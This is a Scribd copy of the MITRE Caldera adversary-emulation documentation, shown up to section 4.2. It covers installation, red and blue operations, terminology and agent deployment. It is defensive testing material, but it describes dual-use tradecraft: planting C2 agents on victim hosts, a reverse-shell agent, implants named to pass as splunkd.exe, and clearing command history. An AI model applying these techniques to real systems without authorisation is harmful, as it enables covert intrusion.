0% found this document useful (0 votes)
40 views262 pages

Caldera Readthedocs Io en Latest

The document is a usage guide for MITRE Caldera, detailing installation requirements, deployment options, and basic usage instructions. It covers various topics including autonomous red-team engagements, incident response, and terminology related to agents and adversaries. Additionally, it provides information on server configuration and a plugin library.

Uploaded by

amin3ltd
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
40 views262 pages

Caldera Readthedocs Io en Latest

The document is a usage guide for MITRE Caldera, detailing installation requirements, deployment options, and basic usage instructions. It covers various topics including autonomous red-team engagements, incident response, and terminology related to agents and adversaries. Additionally, it provides information on server configuration and a plugin library.

Uploaded by

amin3ltd
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

caldera

The MITRE Corporation

Dec 06, 2024


USAGE GUIDES

1 Installing MITRE Caldera 3


1.1 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Docker Deployment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.4 Offline Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Getting started 7
2.1 Autonomous red-team engagements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2 Autonomous incident-response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 Manual red-team engagements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.4 Research on artificial intelligence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

3 Learning the terminology 11


3.1 Agents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.2 Abilities and Adversaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.3 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.4 Plugins . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

4 Basic Usage 13
4.1 Agents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4.2 Abilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
4.3 Adversary Profiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.4 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.5 Facts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.6 Fact sources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.7 Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
4.8 Planners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
4.9 Plugins . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

5 Server Configuration 23
5.1 Startup parameters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.2 Configuration file . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.3 Custom configuration files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.4 Enabling LDAP login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.5 Setting Custom Login Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

6 Plugin library 27
6.1 Sandcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
6.2 Caldera for OT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
6.3 Mock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
6.4 Manx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

i
6.5 Stockpile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.6 Response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.7 Compass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.8 Caltack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.9 SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
6.10 Atomic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
6.11 GameBoard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
6.12 Human . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
6.13 Training . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
6.14 Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
6.15 Builder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
6.16 Debrief . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

7 Parsers 37
7.1 Linking Parsers to an Ability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

8 Relationships 41
8.1 Creating Relationships using Abilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
8.2 Creating Relationships using Caldera Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

9 Requirements 43
9.1 Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

10 Objectives 45
10.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
10.2 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46

11 Operation Results 47
11.1 Operation Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
11.2 Operation Event Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

12 Initial Access Attacks 69


12.1 Run an initial access technique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
12.2 Write an initial access ability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

13 Windows Lateral Movement Guide 71


13.1 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
13.2 Lateral Movement Using Caldera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
13.3 Example Lateral Movement Profile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

14 Dynamically-Compiled Payloads 77
14.1 Basic Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
14.2 Advanced Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78

15 Exfiltration 83
15.1 Exfiltrating Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
15.2 Accessing Exfiltrated Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
15.3 Accessing Operations Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
15.4 Unencrypting the files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

16 Peer-to-Peer Proxy Functionality for Sandcat Agents 85


16.1 How Sandcat Uses Peer-to-Peer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
16.2 Peer-To-Peer Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
16.3 Current Peer-to-Peer Implementations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

ii
17 C2 Communications Tunneling 91
17.1 SSH Tunneling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91

18 Uninstall MITRE Caldera 95

19 Troubleshooting 97
19.1 Installing MITRE Caldera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
19.2 Starting Caldera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
19.3 Stopping Caldera . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
19.4 Agent Deployment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
19.5 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
19.6 Opening Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99

20 Resources 101
20.1 Summary Sheets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
20.2 Ability List . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
20.3 Lateral Movement Video Tutorial . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

21 Sandcat Plugin Details 103


21.1 Source Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
21.2 Precompiled Binaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
21.3 Deploy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
21.4 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
21.5 Exit Codes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
21.6 Customizing Default Options & Execution Without CLI Options . . . . . . . . . . . . . . . . . . . . 107

22 Skeleton 109

23 Exfiltration Scenarios and Setup 111


23.1 Groundwork - Destinations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
23.2 The Fact Source . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
23.3 Adversaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

24 An Example 115
24.1 Pre-Work: GitHub . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
24.2 Operation Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
24.3 Finding Content . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
24.4 Limiting our results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
24.5 Staging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
24.6 Final Piece: A Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
24.7 Operation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119

25 Wrap-up 121

26 The REST API 123


26.1 /api/rest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
26.2 Agents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
26.3 Adversaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
26.4 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
26.5 /file/upload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
26.6 /file/download . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125

27 How to Build Plugins 127


27.1 Creating the structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
27.2 The enable function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128
27.3 Writing the code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128

iii
27.4 Making it visual . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128
27.5 Adding documentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130

28 How to Build Planners 131


28.1 Buckets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
28.2 Creating a Planner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
28.3 A Minimal Planner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
28.4 Advanced Fact Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
28.5 Planning Service Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
28.6 Operation Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
28.7 Knowledge Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138

29 How to Build Agents 141


29.1 Understanding contacts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
29.2 Building an agent: HTTP contact . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
29.3 Lateral Movement Tracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
29.4 Manually Compiling Sandcat Agent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144

30 app 147
30.1 app package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147

31 Indices and tables 225

Python Module Index 227

Index 229

iv
caldera

Caldera™ is an adversary emulation platform designed to easily run autonomous breach-and-attack simulation exer-
cises. It can also be used to run manual red-team engagements or automated incident response. Caldera is built on the
MITRE ATT&CK™ framework and is an active research project at MITRE.
The framework consists of two components:
1. The core system. This is the framework code, including an asynchronous command-and-control (C2) server with a
REST API and a web interface.
2. Plugins. These are separate repositories that hang off of the core framework, providing additional functionality.
Examples include agents, GUI interfaces, collections of TTPs and more.
Visit Installing Caldera for installation information.
For getting familiar with the project, visit Getting started, which documents step-by-step guides for the most common
use cases of Caldera, and Basic usage, which documents how to use some of the basic components in core Caldera.
Visit Learning the terminology for in depth definitions of the terms used throughout the project.
For information about Caldera plugins, visit Plugin Library and How to Build Plugins if you are interested in building
your own.

USAGE GUIDES 1
caldera

2 USAGE GUIDES
CHAPTER

ONE

INSTALLING MITRE CALDERA

Caldera can be installed in four commands using the concise installation instructions and, optionally, be installed and
run using a docker container.

1.1 Requirements

Caldera aims to support a wide range of target systems, the core requirements are listed below:
• Linux or MacOS operating system
• Python 3.8 or later (with pip3)
• NodeJS v16 or later (for Caldera v5)
• A modern browser (Google Chrome is recommended)
• The packages listed in the requirements file

1.1.1 Recommended

To set up a development environment for Caldera, and to dynamically compile agents, the following is recommended:
• GoLang 1.17+ (for optimal agent functionality)
• Hardware: 8GB+ RAM and 2+ CPUs
• The packages listed in the dev requirements file

1.2 Installation

1.2.1 Concise

Caldera can be installed quickly by executing the following 4 commands in your terminal.

git clone https://github.com/mitre/caldera.git --recursive


cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure --build

3
caldera

1.2.2 Step-by-step Explanation

Start by cloning the Caldera repository recursively, pulling all available plugins. It is recommended to pass the desired
version/release (should be in x.x.x format). Cloning any non-release branch, including master, may result in bugs.
In general, the git clone command takes the form:

git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x

To install version 5.0.0, one would execute:

git clone https://github.com/mitre/caldera.git --recursive --branch 5.0.0

Once the clone completes, we can jump in to the new caldera directory:

cd caldera

Next, install the pip requirements:

sudo pip3 install -r requirements.txt

Finally, start the server (optionally with startup flags for additional logging):

python3 server.py --build

The --build argument is only required on the first boot of the Caldera server, or when latest changes are pulled.
Once started, log in to http://localhost:8888 with the red using the password found in the conf/local.yml file (this
file will be generated on server start).
To learn how to use Caldera, navigate to the Training plugin and complete the capture-the-flag style course.

1.3 Docker Deployment

Caldera can be installed and run in a Docker container.


Start by cloning the Caldera repository recursively, passing the desired version/release in x.x.x format:

git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x

Next, build the docker image, changing the image tag as desired.

cd caldera
docker build --build-arg WIN_BUILD=true . -t caldera:server

Alternatively, you can use the docker-compose.yml file by running:

docker-compose build

Finally, run the docker Caldera server, changing port forwarding as required. More information on Caldera’s configu-
ration is available here.

docker run -p 7010:7010 -p 7011:7011/udp -p 7012:7012 -p 8888:8888 caldera:server

To gracefully terminate your docker container, do the following:

4 Chapter 1. Installing MITRE Caldera


caldera

# Find the container ID for your docker container running Caldera


docker ps

# Send interrupt signal, e.g. "docker kill --signal=SIGINT 5b9220dd9c0f"


docker kill --signal=SIGINT [container ID]

1.4 Offline Installation

It is possible to use pip to install Caldera on a server without internet access. Dependencies will be downloaded to a
machine with internet access, then copied to the offline server and installed.
To minimize issues with this approach, the internet machine’s platform and Python version should match the offline
server. For example, if the offline server runs Python 3.8 on Ubuntu 20.04, then the machine with internet access should
run Python 3.8 and Ubuntu 20.04.
Run the following commands on the machine with internet access. These commands will clone the Caldera repository
recursively (passing the desired version/release in x.x.x format) and download the dependencies using pip:

git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x


mkdir caldera/python_deps
pip3 download -r caldera/requirements.txt --dest caldera/python_deps

The caldera directory now needs to be copied to the offline server (via scp, sneakernet, etc).
On the offline server, the dependencies can then be installed with pip3:

pip3 install -r caldera/requirements.txt --no-index --find-links caldera/python_deps

Caldera can then be started as usual on the offline server:

cd caldera
python3 server.py --build

1.4. Offline Installation 5


caldera

6 Chapter 1. Installing MITRE Caldera


CHAPTER

TWO

GETTING STARTED

MITRE Caldera, as an adversary emulation platform, can be used in several ways. For most users, it will be used to
run either offensive (red) or defensive (blue) operations.
Here are the most common use-cases and basic instructions on how to proceed.

2.1 Autonomous red-team engagements

This is the original Caldera use-case. You can use the framework to build a specific threat (adversary) profile and
launch it in a network to see where you may be susceptible. This is good for testing defenses and training blue teams
on how to detect threats.
The following steps will walk through logging in, deploying an agent, selecting an adversary, and running an operation:
1) Log in as a red user. By default, a “red” user is created with a password found in the conf/local.yml file (or
conf/default.yml if using insecure settings).
2) Deploy an agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Sandcat agent and platform (victim operating system)
• Check that the value for app.contact.http matches the host and port the Caldera server is listening on
• Run the generated command on the victim machine. Note that some abilities will require elevated privileges,
which would require the agent to be deployed in an elevated shell.
• Ensure that a new agent appears in the table on the Agents page
3) Choose an adversary profile
• Navigate to the Adversaries page
• Select an adversary from the dropdown and review abilities. The “Discovery” and “Hunter” adversaries
from the Stockpile plugin are good starting profiles.
4) Run an operation
• Navigate to the Operations page and add an operation by toggling the View/Add switch
• Type in a name for the operation
• Under the basic options, select a group that contains the recently deployed agent (“red” by default)
• Under the basic options, select the adversary profile chosen in the last step
• Click the start button to begin the operation
5) Review the operation

7
caldera

• While the operation is running, abilities will be executed on the deployed agent. Click the stars next to run
abilities to view the output.
6) Export operation results
• Once the operation finishes, users can export operation reports in JSON format by clicking the “Download
report” button in the operation GUI modal. Users can also export operation event logs in JSON format by
clicking the “Download event logs” button in the operations modal. The event logs will also be automati-
cally written to disk when the operation finishes. For more information on the various export formats and
automatic/manual event log generation, see the Operation Result page.
Next steps may include:
• Running an operation with a different adversary profile
• Creating a new adversary profile
• Creating custom abilities and adding them to an adversary profile
• Running an operation with a different planner (such as batch)

2.2 Autonomous incident-response

Caldera can be used to perform automated incident response through deployed agents. This is helpful for identifying
TTPs that other security tools may not see or block.
The following steps will walk through logging in to Caldera blue, deploying a blue agent, selecting a defender, and
running an operation:
1) Log in as a blue user. By default, a “blue” user is created with a password found in the conf/local.yml file
(or conf/default.yml if using insecure settings).
2) Deploy a blue agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Sandcat agent and platform (victim operating system)
• Check that the value for app.contact.http matches the host and port the Caldera server is listening on
• Run the generated command on the victim machine. The blue agent should be deployed with elevated
privileges in most cases.
• Ensure that a new blue agent appears in the table on the Agents page
3) Choose a defender profile
• Navigate to the Defenders page
• Select a defender from the dropdown and review abilities. The “Incident responder” defender is a good
starting profile.
4) Choose a fact source. Defender profiles utilize fact sources to determine good vs. bad on a given host.
• Navigate to the Sources page
• Select a fact source and review facts. Consider adding facts to match the environment (for example, add a
fact with the remote.port.unauthorized name and a value of 8000 to detect services running on port
8000)
• Save the source if any changes were made
5) Run an operation

8 Chapter 2. Getting started


caldera

• Navigate to the Operations page and add an operation by toggling the View/Add switch
• Type in a name for the operation
• Under the basic options, select a group that contains the recently deployed agent (“blue” by default)
• Under the basic options, select the defender profile chosen previously
• Under the autonomous menu, select the fact source chosen previously
• Click the start button to begin the operation
6) Review the operation
• While the operation is running, abilities will be executed on the deployed agent. Click the stars next to run
abilities to view the output.
• Consider manually running commands (or using an automated adversary) which will trigger incident re-
sponse actions (such as starting a service on an unauthorized port)
7) Export operation results
• Once the operation finishes, users can export operation reports in JSON format by clicking the “Download
report” button in the operation GUI modal. Users can also export operation event logs in JSON format by
clicking the “Download event logs” button in the operations modal. The event logs will also be automati-
cally written to disk when the operation finishes. For more information on the various export formats and
automatic/manual event log generation, see the Operation Result page.

2.3 Manual red-team engagements

Caldera can be used to perform manual red-team assessments using the Manx agent. This is good for replacing or
appending existing offensive toolsets in a manual assessment, as the framework can be extended with any custom tools
you may have.
The following steps will walk through logging in, deploying a Manx agent, and running manual commands:
1) Log in as a red user
2) Deploy a Manx agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Manx agent and platform (victim operating system)
• Check that the values for app.contact.http, app.contact.tcp, and app.contact.udp match the
host and ports the Caldera server is listening on
• Run the generated command on the victim machine
• Ensure that a new agent appears in the table on the Agents page
3) Deploy a Manx agent
• Navigate to the Manx plugin
• Select the deployed agent in the session dropdown
• Run manual commands in the terminal window

2.3. Manual red-team engagements 9


caldera

2.4 Research on artificial intelligence

Caldera can be used to test artificial intelligence and other decision-making algorithms using the Mock plugin. The
plugin adds simulated agents and mock ability responses, which can be used to run simulate an entire operation.
To use the mock plugin:
1) With the server stopped, enable the mock plugin. Restart the server.
2) Log in as a red user
3) In the Agents modal, review the simulated agents that have been spun up
4) Run an operation using any adversary against your simulated agents. Note how the operation runs non-
deterministically.
5) Adjust the decision logic in a planner, such as the batch.py planner in the Stockpile plugin, to test out different
theories

10 Chapter 2. Getting started


CHAPTER

THREE

LEARNING THE TERMINOLOGY

3.1 Agents

Agents are software programs that connect back to Caldera at certain intervals to get instructions. Agents communicate
with the Caldera server via a contact method, initially defined at agent install.
Installed agents appear in the UI in the Agents dialog. Agents are identified by their unique paw - or paw print.
Caldera includes a number of agent programs, each adding unique functionality. A few examples are listed below:
• Sandcat: A GoLang agent which can communicate through various C2 channels, such as HTTP, Github GIST,
or DNS tunneling.
• Manx: A GoLang agent which communicates via the TCP contact and functions as a reverse-shell
• Ragdoll: A Python agent which communicates via the HTML contact
Agents can be placed into a group, either at install through command line flags or by editing the agent in the UI. These
groups are used when running an operation to determine which agents to execute abilities on.
The group determines whether an agent is a “red agent” or a “blue agent”. Any agent started in the “blue” group will
be accessible from the blue dashboard. All other agents will be accessible from the red dashboard.

3.2 Abilities and Adversaries

An ability is a specific ATT&CK tactic/technique implementation which can be executed on running agents. Abilities
will include the command(s) to run, the platforms / executors the commands can run on (ex: Windows / PowerShell),
payloads to include, and a reference to a module to parse the output on the Caldera server.
Adversary profiles are groups of abilities, representing the tactics, techniques, and procedures (TTPs) available to a
threat actor. Adversary profiles are used when running an operation to determine which abilities will be executed.

3.3 Operations

Operations run abilities on agent groups. Adversary profiles are used to determine which abilities will be run and agent
groups are used to determine which agents the abilities will be run on.
The order in which abilities are run is determined by the planner. A few examples of planners included, by default, in
Caldera are listed below:
• atomic: Run abilities in the adversary profile according to the adversary’s atomic ordering
• batch: Run all abilities in the adversary profile at once

11
caldera

• buckets: Run abilities in the adversary profile grouped by ATT&CK tactic


When an ability is run in an operation, a link is generated for each agent if:
1. All link facts and fact requirements have been fulfilled
2. The agent has an executor that the ability is configured to run on
3. The agent has not yet run the ability, or the ability is marked as repeatable
A fact is an identifiable piece of information about a given computer. Fact names are referenced in ability files and will
be replaced with the fact values when a link is created from the ability.
Link commands can be obfuscated, depending on the stealth settings of the operation.
Generated links are added to the operation chain. The chain contains all links created for the operation.
When an agents checks in, it will collect its instructions. The instructions are then run, depending on the executor used,
and results are sent back to the Caldera server.
Then the results are received, Caldera will use a parser to add any collected facts to the operation. Parsers analyze the
output of an ability to extract potential facts. If potential facts are allowed through the fact rules, the fact is added to
the operation for use in future links.

3.4 Plugins

Caldera is a framework extended by plugins. These plugins provide Caldera with extra functionality in some way.
Multiple plugins are included by default in Caldera. A few noteworthy examples are below, though a more complete
and detailed list can be found on the Plugin Library page:
• Sandcat: The Sandcat agent is the recommended agent for new users
• Stockpile: This plugin holds the majority of open-source abilities, adversaries, planners, and obfuscators created
by the Caldera team
• Training: The training plugin walks users through most of Caldera’s functionality – recommended for new users

12 Chapter 3. Learning the terminology


CHAPTER

FOUR

BASIC USAGE

4.1 Agents

4.1.1 Agent Management

To deploy an agent:
1. Navigate to the Agents module in the side menu under “Campaigns” and click the “Deploy an agent” button
2. Choose an agent (Sandcat is a good one to start with) and a platform (target operating system)
3. Make sure the agent options are correct (e.g. ensure app.contact.http matches the expected host and port for
the Caldera server)
• app.contact.http represents the HTTP endpoint (including the IP/hostname and port) that the C2 server
is listening on for agent requests and beacons. Examples: http://localhost:8888, https://10.1.2.
3, http://myc2domain.com:8080
• agents.implant_name represents the base name of the agent binary. For Windows agents, .exe will be
automatically appended to the base name (e.g. splunkd will become splunkd.exe).
• agent.extensions takes in a comma-separated list of agent extensions to compile with your agent binary.
When selecting the associated deployment command, this will instruct the C2 server to compile the agent
binary with the requested extensions, if they exist. If you just want a basic agent without extensions, leave
this field blank. See Sandcat extension documentation for more information on Sandcat extensions.
4. Choose a command to execute on the target machine. If you want your agent to be compiled with the extensions
from agent.extensions, you must select the associated deployment command below: Compile red-team
agent with a comma-separated list of extensions (requires GoLang).
5. On the target machine, paste the command into the terminal or PowerShell window and execute it
6. The new agent should appear in the table in the Agents tab (if the agent does not appear, check the Agent Deploy-
ment section of the Troubleshooting page)
To kill an agent, use the “Kill Agent” button under the agent-specific settings. The agent will terminate on its next
beacon.
To remove the agent from Caldera (will not kill the agent), click the red X. Running agents remove from Caldera will
reappear when they check in.

13
caldera

4.1.2 Agent Settings

Several configuration options are available for agents:


• Beacon Timers: Set the minimum and maximum seconds the agent will take to beacon home. These timers are
applied to all newly-created agents.
• Watchdog Timer: Set the number of seconds to wait, once the server is unreachable, before killing an agent.
This timer is applied to all newly-created agents.
• Untrusted Timer: Set the number of seconds to wait before marking a missing agent as untrusted. Operations
will not generate new links for untrusted agents. This is a global timer and will affect all running and newly-
created agents.
• Implant Name: The base name of newly-spawned agents. If necessary, an extension will be added when an
agent is created (e.g. splunkd will become splunkd.exe when spawning an agent on a Windows machine).
• Bootstrap Abilities: A comma-separated list of ability IDs to be run on a new agent beacon. By default, this is
set to run a command which clears command history.
• Deadman Abilities: A comma-separated list of ability IDs to be run immediately prior to agent termination.
The agent must support deadman abilities in order for them to run.
Agents have a number of agent-specific settings that can be modified by clicking on the button under the ‘PID’ column
for the agent:
• Group: Agent group
• Sleep: Beacon minimum and maximum sleep timers for this specific agent, separated by a forward slash (/)
• Watchdog: The watchdog timer setting for this specific agent

4.2 Abilities

The majority of abilities are stored inside the Stockpile plugin (plugins/stockpile/data/abilities), along the
adversary profiles which use them. Abilities created through the UI will be placed in data/abilities.
Here is a sample ability:

- id: 9a30740d-3aa8-4c23-8efa-d51215e8a5b9
name: Scan WIFI networks
description: View all potential WIFI networks on host
tactic: discovery
technique:
attack_id: T1016
name: System Network Configuration Discovery
platforms:
darwin:
sh:
command: |
./wifi.sh scan
payload: wifi.sh
linux:
sh:
command: |
./wifi.sh scan
payload: wifi.sh
(continues on next page)

14 Chapter 4. Basic Usage


caldera

(continued from previous page)


windows:
